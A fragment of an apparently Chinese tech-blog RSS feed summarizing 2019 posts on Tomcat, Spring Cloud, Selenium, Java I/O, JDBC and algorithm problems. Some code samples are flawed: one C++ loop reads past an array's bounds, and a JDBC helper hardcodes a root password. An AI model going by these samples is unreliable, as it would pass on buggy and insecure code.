      <description> const int a[10] = { 1, 2, 3, 4, 5,6,7,8 }; int b[2][4]={0}; int i=0; int j=0; for (int m=0;m&amp;lt;10;m++) { i=m/4; j=m%4; b[i][j]=a[m]; } for (int i=0;i&amp;lt;2;i++) { for (int j=0;j&amp;lt;5;j++) { std::cout&amp;lt;&amp;lt;b[i][j]; } std::cout&amp;lt;&amp;lt;std::endl; } </description>
    </item>
    <item>
      <title>Tomcat目录详解</title>
      <link>https://bchobby.github.io/posts/1e1c48152944afb79624a681389366ca/</link>
      <pubDate>Wed, 11 Sep 2019 19:06:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e1c48152944afb79624a681389366ca/</guid>
      <description>目录有：backup、bin、conf、lib、logs、temp、webapps、work、BUILDING.txt、CONTRIBUTING.md、LICENSE、NOTICE、RELEASE-NOTES、RUNNING.txt。&#xA;请看图：&#xA;1.其中backup目录中的内容如下图所示：保存了一些配置文件，是在第一次运行了Tomcat服务器以后产生的。它是对服务器进行简单的备份日志。和conf文件下的内容几乎一样。&#xA;2.bin目录内容如下图所示：主要用来存放Tomcat的命令，很多环境变量也在此处设置。以.sh结尾的代表Linux下的命令；以.bat结尾的代表Windows下的命令。其中startup.bat代表windows系统下启动Tomcat的命令；shutdown.bat代表Windows系统下关闭Tomcat的命令。同理startup.sh代表Linux下的启动Tomcat的命令；shutdown.sh代表linux下关闭Tomcat的命令。(该目录存放linux和window系统启停Tomcat的脚本)。&#xA;3.conf目录内容如下图所示：存放tomcat服务器全局配置的各种文件。backup文件夹为它的备份。catalina目录下可以设置默认加载的项目。Catalina目录下可以设置默认加载的项目和服务器内存大小。context.xml可以用来配置数据源之类的东西。logging文件记录tomcat服务器运行的日志记录。server.xml可以设置域名、端口号、IP、请求的编码、默认加载的项目。web.xml可以设置tomcat服务器支持的文件类型。tomcat-users.xml用来配置管理tomcat的用户与权限。&#xA;4.lib目录内容如下所示：存放Tomcat服务器所需要的所有Jar包。我们在连接数据库时常常烦恼每创建一个项目就要引入一个对应的oracle的Jar包或MySQL的Jar。但是如果你把这两个Jar包放在此目录下，就可以引入一次，下次再创建项目时不需要每次都引入Jar包。&#xA;5.log目录内容如下所示：用来存放Tomcat执行时的日志文件。清除此文件不会对Tomcat服务器产生影响。开始时此文件目录为空，只有运行了Tomcat才会在此目录下生成日志文件。&#xA;6.temp目录下的内容如下图所示：用来存放Tomcat执行过程中产生的临时文件。清除此文件不会影响Tomcat服务器。&#xA;7. webapps目录内容如下图所示：tomcat默认部署路径。目录用来存放应用程序，当Tomcat启动时会加载webapps目录下的应用程序。当然可以以war包、Jar包、普通文件夹三种形式发布应用。你也可以把应用程序存放在电脑磁盘的任意一个位置，但是需要在conf/Catalina/localhost目录下的配置文件中要配置好，使其映射。&#xA;8.work目录内容如下：用来存放Tomcat运行时编译后的项目文件。清空work目录，重启Tomcat，可以达到清除Tomcat服务器缓存的目的。&#xA;9.BUILDING.txt、CONTRIBUTING.md、LICENSE、NOTICE、RELEASE-NOTES、RUNNING.txt是Tomcat服务器的一些签证，运行，注意的信息。</description>
    </item>
    <item>
      <title>springcloud 微服务  学习入门 eureka</title>
      <link>https://bchobby.github.io/posts/6cc89d8312587dc37218be0539c8f7b3/</link>
      <pubDate>Wed, 11 Sep 2019 16:11:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6cc89d8312587dc37218be0539c8f7b3/</guid>
      <description> springcloud 之 Feign Rpc&#xA;而且feign在底层封装了ribbon，以更友好，更灵活的形式展现在了我们眼前，所以今天我们研究的重心放在了feign身上。&#xA;feign是netflix提供的服务间基于http的rpc调用框架，在spring cloud得到广泛应用。默认情况下，一个feign client是在hystrix断路器中执行，并利用ribbon进行软负载选择远程服务（service），所以可以想象出一个feign client的层次架构是包裹的层次，hystrix控制整个rpc从调用到方法返回，而ribbon控制从选址到socket返回；&#xA;https://blog.csdn.net/zwx19921215/article/details/79804379&#xA;RestTemplate 可以认为就是对HttpClient的一个封装，可以把调用的结果转化成Java 对象，从而达到简化开发的目的。 SpringCloud实战5-Feign声明式服务调用&#xA;https://blog.csdn.net/xlgen157387/article/details/77773908&#xA;https://www.jianshu.com/p/8bca50cb11d8&#xA;feign是声明式的web service客户端，它让微服务之间的调用变得更简单了，类似controller调用service。Spring Cloud集成了Ribbon和Eureka，可在使用Feign时提供负载均衡的http客户端。&#xA;因为feign底层是使用了ribbon作为负载均衡的客户端，而ribbon的负载均衡也是依赖于eureka 获得各个服务的地址，所以要引入eureka-client。&#xA;每一个微服务模块都使用springboot内置的tomcat 打jar包 , 然后java -jar 运行打好的jar包 第一点需要注意的是: idea创建eureka服务, 注意生成的springboot项目默认是 application.properties, 需要手动复制一份命名为 application.yml, 再粘贴如下内容到yml文件里 server: port: 7061 eureka: instance: hostname: localhost client: registerWithEureka: false fetchRegistry: false serviceUrl: defaultZone: http://${eureka.instance.hostname}:${server.port}/eureka/ #启动成功后，访问 http://localhost:8761/ 就可以看到浏览器界面了，eureka作为其他服务的注册中心则需要如下配置 #http://localhost:8761/eureka 第二点要注意的是, 当想创建第二个module时, 注意改变content root 文件夹的路径 </description>
    </item>
    <item>
      <title>java selenium div内嵌滚动条 网页长截图发邮件</title>
      <link>https://bchobby.github.io/posts/3c5de56f066404efba944489563beb2f/</link>
      <pubDate>Wed, 11 Sep 2019 16:06:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c5de56f066404efba944489563beb2f/</guid>
      <description>java selenium 网页内嵌滚动条截图发邮件 主要问题下面展开说 由于公司要求做一个接口，请求这个接口进行网页截图并发送邮件的功能，本来前期是用python写好了，but似乎不太符合要求，那么就用java来重新写一遍，虽然我是java菜鸡，但这并不影响 我修修补补，ctrl c 和ctrl v嘛。 主要问题 此需求很简单，主要就是对网页的截图。 如果网页是自带了 浏览器的滚动条，那么 selenium 一条命令就可以解决整个网页的截图了，然鹅我们这网页是个坑，他的滚动条都是放在div这种元素中内嵌了， 因此需要对 div元素计算高度， 进行滚动截图， 然后将滚动出来的截图拼接到一起。&#xA;如图，这玩意分为了好几部分&#xA;左侧功能栏（截图时忽略）&#xA;顶部功能栏（不可能每滚动一次，就把顶部也截图进去，所以我选择 先截图顶部，然后截图 网页滚动条主体内容）&#xA;网页主体滚动条（当然啦， 这个滚动条属于那个非常惹人厌恶的div元素）&#xA;可以很清楚的明白，就是这玩意。 因此我们获取浏览器或者窗口高度是没有效果的， 必须先要获取这个div 滚动条的高度， just 像这样：&#xA;document.getElementsByClassName(&#39;scroll-canvas scroll-canvas--dashboard&#39;)[0].scrollHeight 下面展开说 private void getGrafana(String username, String password, String url, String mailUser, String mailPassword, String[] mailReceiver, String mailServer) { WebDriver driver=null; // 定义图片名称 Date d = new Date(); SimpleDateFormat sdf = new SimpleDateFormat(&#34;yyyyMMddHHmmss&#34;); String file_name = &#34;</description>
    </item>
    <item>
      <title>Flask at first run: Do not use the development server in a production environment</title>
      <link>https://bchobby.github.io/posts/1bee5f16cd0e80e5aa106dfc73dc28f6/</link>
      <pubDate>Wed, 11 Sep 2019 09:58:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bee5f16cd0e80e5aa106dfc73dc28f6/</guid>
      <description> 可以将FLASK_ENV环境变量设置为开发模式:&#xA;export FLASK_ENV=development flask run </description>
    </item>
    <item>
      <title>模块化设计的规则总结</title>
      <link>https://bchobby.github.io/posts/aec5643579ea1d4e2c5261b74b277f97/</link>
      <pubDate>Tue, 10 Sep 2019 21:44:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aec5643579ea1d4e2c5261b74b277f97/</guid>
      <description> CSS模块化设计 设计原则&#xA; 可复用能继承要完整&#xA; 周期性迭代设计方法&#xA; 先整体后部分再颗粒化&#xA; 先抽象再具体 JS组件设计 设计原则&#xA; 高内聚低耦合&#xA; 周期性迭代设计方法&#xA; 先整体后部分再颗粒化&#xA; 尽可能的抽象 自适应 基本概念&#xA; CSS像素、设备像素、逻辑像素、设备像素比&#xA; Viewport&#xA; Rem工作原理&#xA; 利用viewport和设备像素比调整基准像素&#xA; 利用px2rem自动转换css单位 SPA设计 设计意义&#xA; 前后端分离&#xA; 减轻服务器压力&#xA; 增强客户体验&#xA; Prerender预渲染优化SEO工作原理&#xA; History API（onpopstate、pushState）&#xA; Hash（hashchange、lication.hash） </description>
    </item>
    <item>
      <title>模态框</title>
      <link>https://bchobby.github.io/posts/581cff207150450d62558e152e0e96a4/</link>
      <pubDate>Tue, 10 Sep 2019 21:39:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/581cff207150450d62558e152e0e96a4/</guid>
      <description> &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;ie=edge&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; *{ padding: 0; margin: 0; } html,body{ height: 100%; } .cover{ width: 100%; height: 100%; background-color: red; position: absolute; top:0; opacity: 0.5; } .son{ height: 300px; width: 300px; background-color: blue; position: absolute; top: 0; bottom: 0; left: 0; right: 0; margin: auto; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div&amp;gt;111111&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;cover&#34;&amp;gt; &amp;lt;div class=&#34;son&#34;&amp;gt; &amp;lt;p&amp;gt;222&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; </description>
    </item>
    <item>
      <title>Java 之 InputStreamReader 类</title>
      <link>https://bchobby.github.io/posts/f72137d630e187939f6b93fd4bb1772c/</link>
      <pubDate>Tue, 10 Sep 2019 15:27:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f72137d630e187939f6b93fd4bb1772c/</guid>
      <description>InputStream 类 1、概述 转换流 java.io.InputStreamReader ，是Reader的子类，是从字节流到字符流的桥梁。&#xA;该类读取字节，并使用指定的字符集将其解码为字符。它的字符集可以由名称指定，也可以接受平台的默认字符集。 2、继承自父类的共性成员方法 该类继承于 Reader 类，继承了父类的共性成员方法：&#xA;int read() 读取单个字符并返回。 int read(char[] cbuf)一次读取多个字符,将字符读入数组。 void close() 关闭该流并释放与之关联的所有资源。 3、构造方法 InputStreamReader(InputStream in) 创建一个使用默认字符集的 InputStreamReader。 InputStreamReader(InputStream in, String charsetName) 创建使用指定字符集的 InputStreamReader。 参数：&#xA;InputStream in：字节输入流，用来读取文件中保存的字节&#xA;String charsetName:指定的编码表名称,不区分大小写,可以是utf-8/UTF-8,gbk/GBK,...不指定默认使用UTF-8&#xA;4、使用步骤 ① 创建InputStreamReader对象,构造方法中传递字节输入流和指定的编码表名称&#xA;② 使用InputStreamReader对象中的方法read读取文件&#xA;③ 释放资源&#xA;注意：构造方法中指定的编码表名称要和文件的编码相同,否则会发生乱码&#xA;Demo： 1 public static void main(String[] args) throws IOException { 2 //1.创建InputStreamReader对象,构造方法中传递字节输入流和指定的编码表名称 3 //InputStreamReader isr = new InputStreamReader(new FileInputStream(&#34;E:\\gbk.txt&#34;),&#34;UTF-8&#34;);//??? 4 InputStreamReader isr = new InputStreamReader(new FileInputStream(&#34;</description>
    </item>
    <item>
      <title>Java 之 OutputStreamReader类</title>
      <link>https://bchobby.github.io/posts/a070d582d1fcc9ef4344ab42a7a1c20d/</link>
      <pubDate>Tue, 10 Sep 2019 15:21:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a070d582d1fcc9ef4344ab42a7a1c20d/</guid>
      <description>OutputStreamReader类 1、概述 转换流 java.io.OutputStreamReader ，是Writer的子类，是从字符流到字节流的桥梁。&#xA;它使用指定的字符集将字符编码为字节。它的字符集可以由名称指定，也可以接受平台的默认字符集。 2、继承父类的共性成员方法 该类继承 Writer 类，继承了父类的共性成员方法&#xA;void write(int c) 写入单个字符。 void write(char[] cbuf)写入字符数组。 abstract void write(char[] cbuf, int off, int len)写入字符数组的某一部分,off数组的开始索引,len写的字符个数。 void write(String str)写入字符串。 void write(String str, int off, int len) 写入字符串的某一部分,off字符串的开始索引,len写的字符个数。 void flush()刷新该流的缓冲。 void close() 关闭此流，但要先刷新它。　3、构造方法 OutputStreamWriter(OutputStream out)创建使用默认字符编码的 OutputStreamWriter。 OutputStreamWriter(OutputStream out, String charsetName) 创建使用指定字符集的 OutputStreamWriter。 参数：&#xA;OutputStream out：字节输出流,可以用来写转换之后的字节到文件中&#xA;String charsetName：指定的编码表名称,不区分大小写,可以是utf-8/UTF-8,gbk/GBK,...不指定默认使用UTF-8&#xA;4、使用步骤【重要】 ① 创建OutputStreamWriter对象,构造方法中传递字节输出流和指定的编码表名称&#xA;② 使用OutputStreamWriter对象中的方法write,把字符转换为字节存储缓冲区中(编码)&#xA;③ 使用OutputStreamWriter对象中的方法flush,把内存缓冲区中的字节刷新到文件中(使用字节流写字节的过程)&#xA;④ 释放资源&#xA;Demo：&#xA;1 public static void main(String[] args) throws IOException { 2 //1.</description>
    </item>
    <item>
      <title>DBUtil</title>
      <link>https://bchobby.github.io/posts/da4ed7a2b4c2abe4efb70cb457ac53f4/</link>
      <pubDate>Tue, 10 Sep 2019 14:55:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da4ed7a2b4c2abe4efb70cb457ac53f4/</guid>
      <description>1.先创建两个JAVA class文件， 命名为DBUtil和test3&#xA;写DBUtil&#xA;package com.gongmao;&#xA;import java.sql.*;&#xA;public class DBUtil {&#xA;public static Connection getConnection() throws ClassNotFoundException,SQLException{&#xA;Class.forName(“com.mysql.jdbc.Driver”);&#xA;Connection connection = DriverManager.getConnection(“jdbc:mysql://127.0.0.1:3306/zjgm?characterEncoding=utf-8&amp;amp;user=root&amp;amp;password=123456&amp;amp;useSSL=false”);&#xA;return connection;&#xA;}&#xA;public static void closeAll(ResultSet resultSet, Statement statement,Connection connection) throws SQLException{&#xA;if(resultSet!=null){&#xA;resultSet.close();&#xA;}&#xA;statement.close();&#xA;connection.close();&#xA;}&#xA;}&#xA;2.写好DBUtil后在昨天原有代码基础上替换，替换后的代码为&#xA;package com.gongmao;&#xA;import java.sql.*;&#xA;public class test {&#xA;public static void main(String[] args) throws ClassNotFoundException, SQLException {&#xA;DBUtil dbUtil=new DBUtil();&#xA;Connection connection=dbUtil.getConnection();&#xA;System.out.println(“创建连接成功”);&#xA;//1.加载驱动&#xA;Class.forName(“com.mysql.jdbc.Driver”);</description>
    </item>
    <item>
      <title>去阿里面试，说了没分布式经验，面试官还是抓着这个问！</title>
      <link>https://bchobby.github.io/posts/7519f65028241c5b88160ad80efd4a47/</link>
      <pubDate>Tue, 10 Sep 2019 09:13:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7519f65028241c5b88160ad80efd4a47/</guid>
      <description>最近有朋友去阿里面试回来和我聊天，他的简历之前我看过，在一家传统企业做后端开发的，有3年的工作经验，但是对于分布式相关的经验不是很足。&#xA;在看过他的简历之后，我建议他看一些和分布式有关的东西，但是他并没有听，回来之后找我吐槽：&#34;我都明确说了自己没有分布式经验，但是面试官还是抓着我问了很多分布式相关的问题...&#34;&#xA;然后说：&#34;早知道我就听你的多看一些分布式相关的知识了...&#34;&#xA;&#34;可是我真的没有经验那，看了理论知识真的有用吗？&#34;&#xA;对于他的这一连串问题，我只能说：早就告诉你了你不听，我能怎么办。&#xA;但是其实他的困惑，也是很多人都有的一些困惑。我尝试着回答一下，如果你没有分布式相关的经验，那么你应该准备哪些理论知识？&#xA;首先需要强调的是，如果你没有相关经验，面试官还问你，这很正常！因为如果接触不到就可以完全不知道，或者完全不想办法去了解，那这种开发可能也正好不是大厂想要的人！&#xA;首先，关于分布式，有些纯理论的知识需要开发有个基本的概念：&#xA;1、什么是分布式，什么是集群，二者有什么区别？&#xA;2、分布式的 CAP理论、BASE理论？&#xA;3、什么是分布式的数据一致性？4、2PC、3PC、TCC等&#xA;画重点：这部分的理论要有些基本的掌握，至少CAP要知道，包括CAP的证明等。&#xA;还有就是和分布式相关的一些工具、框架、中间件等，如：&#xA;1.消息队列：Kafka、ActiveMQ、RabbitMQ、RocketMQ&#xA;2.RPC框架：Dubbo、gRPC&#xA;3.分布式缓存：Redis、Memcached4.分布式搜索：elasticsearch5、分布式协调：Zookeeper&#xA;画重点：这部分要知道如何进行技术选型，技术选型要考虑哪些因素，同类中间件之间的横向比较等。&#xA;还有就是一些分布式问题的解决方案：&#xA;1、分布式事务&#xA;2、分布式锁&#xA;3、分库分表&#xA;4、限流、降级&#xA;画重点：一个问题有多个解决方案的时候，要考虑各个方式的优缺点。&#xA;总之不管你有没有用过，就算没有使用的场景，也要饱含热情的去了解这些东西。&#xA;有分布式场景的大厂，就像一个围墙。外面的人都没有经验，里面的人才有经验。但是大厂招人又需要人有这样的经验。&#xA;其实，只要方法得当，准备面试并不难，也不会浪费太多的时间。&#xA;最后，在这里分享一些源码和框架的直播和视频资源，希望可以在金九银十助你一臂之力！&#xA;添加小姐姐微信，领取资料包与直播课 限时直播，名额有限，先到先得~&#xA;▼添加成功附赠网易Java进阶资料包</description>
    </item>
    <item>
      <title>解决win10的wifi打不开或无法搜索到周围wifi的问题</title>
      <link>https://bchobby.github.io/posts/804bd11cc8e6f2f178cc53571e1e4174/</link>
      <pubDate>Mon, 09 Sep 2019 23:41:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/804bd11cc8e6f2f178cc53571e1e4174/</guid>
      <description>今天笔者遇到了一个比较奇葩的问题，就是笔记本电脑的wifi打不开了，即使打开了也是搜索不到周围的wifi的。这个问题一开始笔者没有发现，因为在暑假期间都是使用笔记本连接自己的手机热点进行上网的。然而暑期结束，笔者回到了学校，在宿舍有宽带，所以就没有注意到wifi不能正常使用的情况。也就在今天，上课时，老师使用红蜘蛛控制笔者的笔记本。然后笔者觉得听老师上课没什么意思，就想着不使用教室的网线，使用自己的wifi来摆脱控制。然而问题出现了，笔者的电脑竟然搜不到自己的手机热点。经过一段时间的琢磨，笔者解决了这个问题&#xA;接下来笔者就问题的解决过程记录下来，希望可以帮助到同样遇到这种问题的同学。&#xA;问题描述&#xA;在打开wifi时搜索不到任何的wifi或者就是打不开wifi&#xA;2.问题原因&#xA;一开始是怀是wifi相关的驱动丢了，但是笔者在使用驱动精灵检查了一遍，发现不是无线驱动的问题；在排除了无线驱动问题之后，有同学就说应该是硬件坏了，去电脑店看一下；然后笔者觉得直接去电脑店万一不是硬件的问题呢，乞不是要被学校的电脑店坑一笔吗；然后给之前懂硬件的老师发了条信息，到现在也没有回。很无奈（这里真的很想骂一句，）&#xA;后来发现是intel HD graphics 630的问题。&#xA;解决问题&#xA;首先我们在win10的开始界面右击，会出现如下菜单&#xA;接着我们点击设备管理器&#xA;找到显示适配器，显示适配器的下面有两个子功能，我们在intel HD graphics 630上右击&#xA;右击完成后就会自动的更新，更新完成后，我们再次的打开wifi就会看到，此时我们的wifi又可以正常的使用了&#xA;4.总结&#xA;虽然说问题解决了，但是笔者还是有一点迷惑的，或者说是有一点的匪夷所思，就是为什么wifi不能正常的使用会是显示适配器中的intel HD graphics 630的问题呢？？？？&#xA;由于笔者的知识水平有限，在阐述上有不准确的地方，还请谅解，&#xA;同时欢迎大家的批评指正</description>
    </item>
    <item>
      <title>算法题4</title>
      <link>https://bchobby.github.io/posts/42507ff5ffd19763089d78814a925f85/</link>
      <pubDate>Mon, 09 Sep 2019 19:19:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42507ff5ffd19763089d78814a925f85/</guid>
      <description> 题目描述：&#xA;给定一个正整数数组，最大为100个成员，从第一个成员开始，走到数组最后一个成员的步骤数，第一步必须从第一个元素开始，1&amp;lt;=步长&amp;lt;len/2,第二步开始以所在成员的数组走相应的步数。如果目标不可达返回-1，只输出最少的步骤数量。&#xA;输入描述：&#xA;由正整数组成的数组，以空格分隔，数组长度小于100，请自行解析数据数量。&#xA;输出描述：&#xA;正整数，表示最少的步数，如果不存在输出-1.&#xA;示例：&#xA;输入：&#xA;7 5 9 4 2 6 8 3 5 4 3 9 输出：&#xA;2 说明：第一步：第一个可选步长选择2，第一个成员7走第二个成员，第二步：第二个成员为9，经过9个成员到最后。&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; int solve(int * a, int N) { int min=100; int i,j; for(i=1;i&amp;lt;N/2;i++) { int path=0; for(j=i;j&amp;lt;N;j+=a[j]){ path++; if(j==N-1){ min=min&amp;lt;path?min:path; break; } } } if(min==100) return -1; return min; } int main() { int a[100]; int tmp; int i=0; while(cin.peek()!=&#39;\n&#39;) { cin&amp;gt;&amp;gt;a[i++]; } cout&amp;lt;&amp;lt;solve(a,i); return 0; } </description>
    </item>
    <item>
      <title>react项目通过iframe方式引入html页面</title>
      <link>https://bchobby.github.io/posts/c722cb7b151bf28266cc8a74168aeebd/</link>
      <pubDate>Mon, 09 Sep 2019 17:13:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c722cb7b151bf28266cc8a74168aeebd/</guid>
      <description>项目中会碰到在react项目中引入html静态页面的需求，以下是解决方法：&#xA;主要实现：通过&amp;lt;iframe&amp;gt;方式引入，以下是核心代码部分：&#xA;import data from &#39;./data.html&#39;; // 引入需要引用的html文件 class Data extends Component { render() { return ( &amp;lt;iframe title=&#34;resg&#34; srcDoc={data} style={{ width: &#39;100%&#39;, border: &#39;0px&#39;, height: &#39;1100px&#39; }} sandbox=&#34;allow-same-origin allow-scripts allow-popups allow-forms&#34; scrolling=&#34;auto&#34; /&amp;gt; ); } } export default withRouter(Data); 注意，因为这里的“data”是整个html文件中的代码并不是路径，所以在iframe中不能用src的方式，而要用srcDoc来代替，详细请百度iframe属性&#xA;出现问题：&#xA;You may need an appropriate loader to handle this file type.&#xA;| &amp;lt;!DOCTYPE html&amp;gt;&#xA;| &amp;lt;html lang=&#34;en&#34;&amp;gt;&#xA;| &amp;lt;head&amp;gt;&#xA;可能在编译的过程中会出现如上问题，意思是需要合适的loader处理文件类型，在react项目中中没有解析html类型的loader，所以需要我们自己手动添加，解析html文件的loader为html-loader，加在webpack.config.dev.js中，&#xA;同时也要安装依赖如下，以下是方法：&#xA;npm i html-loader -S { test: /\.</description>
    </item>
    <item>
      <title>刷酸记录(迪维维A酸乳膏)20190906-0908</title>
      <link>https://bchobby.github.io/posts/8ed7a9bd25181060919dec8b85a004df/</link>
      <pubDate>Mon, 09 Sep 2019 16:14:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ed7a9bd25181060919dec8b85a004df/</guid>
      <description> 前提 刷酸记录(迪维维A酸乳膏) 20190601-2019-09-03&#xA;刷酸记录(迪维维A酸乳膏)20190903&#xA;刷酸记录(迪维维A酸乳膏)20190904&#xA;刷酸记录(迪维维A酸乳膏)20190905&#xA;0906 晚上 0906 23:00 维A酸乳膏涂抹全脸关灯睡觉，使用手机大概30分钟窗帘全部拉上；空气加湿器没有开 0907 早上 8:00 起床洁面：旁氏米粹洗一遍；洗脸感觉 脸部皮肤变得平滑；还变软了护肤：olay Prox 两滴管 + olay 修复霜一坨；olay修复霜用着感觉好疼；感觉脸上皮肤好干，下半部分脸大量脱皮，下巴和鼻子最严重（蜕皮很薄很软；擦下来是黄色的）下午公司加班，30分钟路程除了防晒伞，别的防晒都没有 0907 晚上 0907 23:00 维A酸乳膏涂抹全脸关灯睡觉，使用手机大概3分钟窗帘全部拉上；空气加湿器没有开 0908 早上 9:50 起床洁面：旁氏米粹洗一遍护肤：olay Prox 两滴管 + olay 修复霜一坨；olay修复霜用着感觉好疼；感觉脸上皮肤好干，好干；下午18:00 洗澡后，没有用护肤的，只喷了一些娥佩兰薏仁水；感觉干就喷 0908 晚上 0907 20:00 维A酸乳膏涂抹全脸; 99购物节没忍住，玩手机到22:00,把药洗掉了 0909 早上 8:30 起床洁面：旁氏米粹洗一遍护肤：olay Prox 1.5滴管 + olay 修复霜一坨；olay修复霜用着感觉好疼；感觉脸上皮肤好干，好干；眼睛旁边和鼻翼附近 有一点起干皮；下巴和脸上 的干皮变少 </description>
    </item>
    <item>
      <title>Vmware提示以独占方式锁定此配置文件失败。另一个正在运行的VMware进程可能正在使用配置文件以及虚拟机黑屏</title>
      <link>https://bchobby.github.io/posts/e351468b33efe647375b331a814622e2/</link>
      <pubDate>Mon, 09 Sep 2019 09:33:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e351468b33efe647375b331a814622e2/</guid>
      <description>Vmware提示以独占方式锁定此配置文件失败。另一个正在运行的VMware进程可能正在使用配置文件以及虚拟机黑屏 解决办法：看了很多说删除.lck文件的，还有说删除.vmdk文件的，.vmdk文件在删除的时候提示无法删除，.lck文件删除后，也无法解决问题，又不想卸载重装。之后就打开控制面板，更改-修复VMware，重启电脑，再打开VMware不提示独占锁定文件失败，但是一直黑屏，之后就搜索cmd命令，然后以管理员方式打开，输入netsh winsock reset(这个命令是重置网络规范，黑屏的原因很可能就是VMware软件跟本地网络规范有冲突)，回车之后提示成功重置winsock目录，您必须重新启动计算机才能重新完成配置。重启后打开即可。</description>
    </item>
    <item>
      <title>把 14 亿中国人都拉到一个微信群在技术上能实现吗？</title>
      <link>https://bchobby.github.io/posts/95ab505531f7f6b4f372d28449ad8fde/</link>
      <pubDate>Mon, 09 Sep 2019 09:21:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95ab505531f7f6b4f372d28449ad8fde/</guid>
      <description>点击上方“芋道源码”，选择“设为星标”&#xA;做积极的人，而不是积极废人！&#xA;源码精品专栏&#xA;原创 | Java 2019 超神之路，很肝~&#xA;中文详细注释的开源项目&#xA;RPC 框架 Dubbo 源码解析&#xA;网络应用框架 Netty 源码解析&#xA;消息中间件 RocketMQ 源码解析&#xA;数据库中间件 Sharding-JDBC 和 MyCAT 源码解析&#xA;作业调度中间件 Elastic-Job 源码解析&#xA;分布式事务中间件 TCC-Transaction 源码解析&#xA;Eureka 和 Hystrix 源码解析&#xA;Java 并发源码&#xA;来源：腾讯知乎官号&#xA;先说结论：也许可以实现，但你会什么都看不见。&#xA;一些网友留言&#xA;参考链接&#xA;“最近，知乎上有一个非常热门的问题：“把 14 亿中国人民都拉到一个微信群里在技术上能实现吗？”&#xA;实际上，根据国家统计局的数据，截至 2017 年末，中国大陆总人口为 13 亿 9008 万人（包括 31 个省、自治区、直辖市和中国人民解放军现役军人，不包括香港、澳门和台湾以及海外华侨人数），早已超过 13 亿。&#xA;目前，微信群组成员人数上限为 500 人，把近 14 亿中国人都拉到一个微信群，从技术的角度考虑现实吗？需要多少台服务器？&#xA;而且在一个 14 亿人的群里，要怎样抢红包？手机会不会爆炸？欢迎大家收看官方吐槽系列~&#xA;先说结论：也许可以实现，但你会什么都看不见。 根据 2017 年《微信数据报告》的公开数据 [参考 1] ：2017 年 9 月，微信日均登陆 9.</description>
    </item>
    <item>
      <title>python 中的 scipy.optimize 最优化功能的一些不足</title>
      <link>https://bchobby.github.io/posts/474bf0a451a3f519befc07de8ba2c18e/</link>
      <pubDate>Sun, 08 Sep 2019 23:20:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/474bf0a451a3f519befc07de8ba2c18e/</guid>
      <description>python 中的 scipy 也有最优化的功能，体现在里面的 optimize 中，自己简单使用了下，发现它具有以下缺点：&#xA;优化算法比较少，有信頼域、单纯形法、BFGS算法等，能够满足不少常规函数的求解，但相对于 matlab 来说还是少的求解带约束的优化时，还需自己定义一阶导数，黑塞矩阵等，这一点很不方便。像 Matlab 只需输入函数就行，不需要你自己再输入一阶导数、黑塞矩阵。而 scipy 中求解带约束的优化问题时，需要自己计算出一阶导数或二阶导数后，再输入 跟专业的优化软件 Matlab， Lingo 等还有不少差距。</description>
    </item>
    <item>
      <title>％02x与％2x 区别</title>
      <link>https://bchobby.github.io/posts/cd398b4bbdbbad49b16941210e3ef613/</link>
      <pubDate>Sat, 07 Sep 2019 23:55:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd398b4bbdbbad49b16941210e3ef613/</guid>
      <description> %02x&#xA;x 表示以十六进制形式输出&#xA;02 表示不足两位,，前面补0输出，如果超过两位，则以实际输出&#xA;如：&#xA;Scala&#xA;object Test { def main(args: Array[String]): Unit = { println(&#34;%02X&#34;.format(12)) // 0c println(&#34;%02X&#34;.format(2)) // 02 println(&#34;%2X&#34;.format(12)) // c println(&#34;%2X&#34;.format(2)) // 2 } } Java public class Test { public static void main(String[] args) { System.out.println(String.format(&#34;%02X&#34;,12 )); // 0c System.out.println(String.format(&#34;%02X&#34;,2 )); // 02 System.out.println(String.format(&#34;%2X&#34;,12 )); // c System.out.println(String.format(&#34;%2X&#34;,2 )); // 2 } } </description>
    </item>
    <item>
      <title>query</title>
      <link>https://bchobby.github.io/posts/1b1cc7f086b3f074da452bc3129981eb/</link>
      <pubDate>Sat, 07 Sep 2019 21:06:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b1cc7f086b3f074da452bc3129981eb/</guid>
      <description>Given a permutation pp of length nn, you are asked to answer mm queries, each query can be represented as a pair (l ,r )(l,r), you need to find the number of pair(i ,j)(i,j) such that l \le i &amp;lt; j \le rl≤i&amp;lt;j≤r and \min(p_i,p_j) = \gcd(p_i,p_j )min(pi​,pj​)=gcd(pi​,pj​).&#xA;Input There is two integers n(1 \le n \le 10^5)n(1≤n≤105), m(1 \le m \le 10^5)m(1≤m≤105) in the first line, denoting the length of pp and the number of queries.</description>
    </item>
    <item>
